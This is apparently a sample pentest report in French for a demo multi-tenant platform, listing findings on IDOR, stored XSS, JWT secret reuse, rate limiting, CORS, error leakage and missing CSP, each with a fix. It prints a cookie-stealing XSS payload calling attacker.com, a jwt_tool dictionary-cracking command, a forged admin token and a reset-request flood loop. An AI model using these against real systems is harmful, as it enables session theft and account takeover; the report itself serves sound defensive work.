Ce que vous recevez après un pentest

Contexte

Les vulnérabilités de type IDOR (Insecure Direct Object Reference) surviennent lorsqu'une application utilise des identifiants séquentiels ou prévisibles pour accéder à des ressources, sans vérifier que l'utilisateur authentifié est autorisé à y accéder. Dans les plateformes multi-tenant, ce type de faille peut compromettre l'isolation entre organisations et exposer les données de l'ensemble des clients.

Description

Les endpoints GET /api/v2/invoices/:id et PUT /api/v2/invoices/:id ne vérifient pas l'appartenance de la facture à l'organisation authentifiée. En incrémentant le paramètre id, un utilisateur authentifié peut lire et modifier les factures, montants et coordonnées bancaires de toutes les organisations de la plateforme.

Requête — accès à une facture d'une autre organisation

GET /api/v2/invoices/1337 HTTP/2
Host: app.keltis-demo.fr
Authorization: Bearer eyJhbG...kOrg42
X-Organization-Id: 42 # notre org de test

Réponse — facture de l'organisation 7 (pas la nôtre)

200 OK
{
  "id": 1337,
  "organization_id": 7,
  "organization_name": "Nexora Health SAS",
  "amount": 14 850.00,
  "iban": "FR76 3000 4028 3700 0100 0425 682",
  "status": "paid",
  "pdf_url": "/storage/invoices/1337.pdf"
}

Correctif proposé

// middleware/authorization.ts
async function checkInvoiceOwnership(req, res, next) {
  const invoice = await Invoice.findById(req.params.id);
  if (invoice.organization_id !== req.user.organization_id) {
    return res.status(403).json({ error: "Forbidden" });
  }
  next();
}

// Appliquer sur toutes les routes /invoices/:id
// + remplacer les IDs séquentiels par des UUIDs

Contexte

Le Cross-Site Scripting stocké (Stored XSS) est l'une des formes les plus dangereuses d'injection côté client. Contrairement au XSS reflété, le payload malveillant est persisté en base de données et s'exécute automatiquement dans le navigateur de chaque utilisateur qui consulte la page compromise, sans interaction nécessaire.

Description

Le champ commentaire des projets accepte du contenu HTML non filtré. Une balise image avec un attribut onerror permet l'exécution de JavaScript arbitraire dans le navigateur de tout utilisateur qui consulte le projet.

Payload injecté

POST /api/v2/projects/89/comments HTTP/2
Content-Type: application/json

{
  "body": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"
}

Impact

• Vol de session : le cookie de session est envoyé à l'attaquant
• Persistant : le script s'exécute à chaque consultation du projet
• Propagation : tous les membres du projet sont impactés
• Contexte admin : si un admin consulte le projet, l'attaquant obtient une session admin

Correctif proposé

// Utiliser DOMPurify côté serveur avant stockage
import DOMPurify from 'isomorphic-dompurify';

const clean = DOMPurify.sanitize(req.body.body, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'code'],
  ALLOWED_ATTR: ['href'],
});

// + Ajouter Content-Security-Policy header
// + Activer le flag HttpOnly sur les cookies de session

Contexte

Les JSON Web Tokens (JWT) reposent sur un secret de signature pour garantir l'intégrité et l'authenticité des tokens. Si ce secret est faible, partagé entre environnements ou compromis, un attaquant peut forger des tokens arbitraires avec n'importe quel rôle ou identité.

Description

Le secret de signature JWT est identique entre les environnements staging et production. Un token généré sur staging (accessible à toute l'équipe de développement) est accepté sur production. La clé est un mot dérivé du nom de la plateforme, trivial à deviner.

Preuve — secret cracké par attaque par dictionnaire

# 1. Extraction du secret depuis un token JWT capturé (jwt_tool + rockyou.txt)
$ python3 jwt_tool.py eyJhbG...kOrg42 -C -d rockyou.txt
[+] Secret trouvé : keltis2024

# 2. Le même secret fonctionne sur staging et production
$ jwt.sign({ user_id: 1, role: "admin" }, "keltis2024")
→ Token accepté sur app.keltis-demo.fr (production)

Correctif proposé

# 1. Générer un secret unique par environnement (256 bits minimum)
$ openssl rand -base64 64

# 2. Stocker dans un vault (AWS Secrets Manager, HashiCorp Vault)
# 3. Rotation automatique tous les 90 jours
# 4. Invalider tous les tokens existants après rotation
# 5. Passer à RS256 (clé asymétrique) pour éliminer le risque de secret partagé

Contexte

L'absence de rate limiting sur les endpoints sensibles expose l'application à des attaques par force brute, l'énumération de comptes et l'abus de ressources. Les endpoints d'authentification et de réinitialisation de mot de passe sont des cibles privilégiées pour ce type d'attaque.

Description

L'endpoint POST /api/v2/auth/reset-password n'implémente aucun rate limiting. Un attaquant peut envoyer des milliers de requêtes de réinitialisation, provoquant un spam massif d'emails et une énumération des comptes existants.

Test — 100 requêtes en 10 secondes, aucun blocage

$ for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://app.keltis-demo.fr/api/v2/auth/reset-password \
    -d '{"email":"test@example.com"}'
done

Résultat : 100x 200 OK — 100 emails envoyés, aucun blocage

Correctif proposé

// express-rate-limit
const resetLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 3,
  keyGenerator: (req) => req.body.email || req.ip,
});

// + Réponse identique que l'email existe ou non (anti-énumération)
// + CAPTCHA après la 2e tentative

Contexte

La politique Cross-Origin Resource Sharing (CORS) définit quels domaines tiers peuvent effectuer des requêtes vers l'API. Lorsque le serveur reflète dynamiquement l'en-tête Origin de la requête sans validation et autorise l'envoi de credentials, n'importe quel site malveillant peut effectuer des requêtes authentifiées au nom de l'utilisateur victime.

Description

L'API reflète dynamiquement le header Origin de la requête dans Access-Control-Allow-Origin sans vérification, combiné avec Access-Control-Allow-Credentials: true. Un site malveillant peut effectuer des requêtes API authentifiées au nom de l'utilisateur victime.

Headers de réponse — l'Origin est reflété sans validation

# Requête depuis un domaine attaquant
Origin: https://evil.com

# Réponse — le serveur reflète l'Origin tel quel
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Correctif proposé

// cors.ts — whitelist explicite
const allowedOrigins = [
  'https://app.keltis-demo.fr',
  'https://admin.keltis-demo.fr',
];

app.use(cors({
  origin: (origin, callback) => {
    if (allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('Not allowed'));
  },
  credentials: true,
}));

Contexte

L'exposition d'informations techniques dans les messages d'erreur fournit aux attaquants des détails sur la stack technologique, les versions des composants et l'arborescence du serveur. Ces informations facilitent la phase de reconnaissance et l'identification de vulnérabilités connues (CVE).

Description

Les erreurs 500 renvoient la stack trace complète, le numéro de version de Node.js et Express, et les chemins absolus du serveur. Ces informations facilitent la reconnaissance et l'exploitation de vulnérabilités connues.

Réponse d'erreur en production

500 Internal Server Error
{
  "error": "Cannot read properties of null",
  "stack": "TypeError: Cannot read properties of null\n    at /home/deploy/keltis/src/controllers/billing.js:142:23",
  "environment": "production",
  "node_version": "v18.17.0",
  "express_version": "4.18.2"
}

Correctif proposé

// Error handler — production uniquement
app.use((err, req, res, next) => {
  const isProduction = process.env.NODE_ENV === 'production';
  res.status(err.status || 500).json({
    error: isProduction
      ? 'Internal Server Error'
      : err.message,
    // Jamais de stack/version en production
  });
});

Contexte

La Content Security Policy (CSP) est un mécanisme de défense en profondeur qui restreint les sources de contenu exécutable dans le navigateur. En l'absence de CSP, l'exploitation de vulnérabilités XSS est facilitée car le navigateur n'applique aucune restriction sur l'exécution de scripts.

Description

L'application ne définit aucun header Content-Security-Policy. L'absence de CSP facilite l'exploitation de vulnérabilités XSS en permettant l'exécution de scripts inline et le chargement de ressources depuis n'importe quel domaine.

Header manquant

# Headers de réponse actuels — aucun header de sécurité
X-Powered-By: Express  # à supprimer aussi

# Content-Security-Policy : absent
# X-Frame-Options : absent
# X-Content-Type-Options : absent
# Strict-Transport-Security : absent

Correctif proposé

// helmet.js — headers de sécurité en un seul middleware
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:"],
    },
  },
}));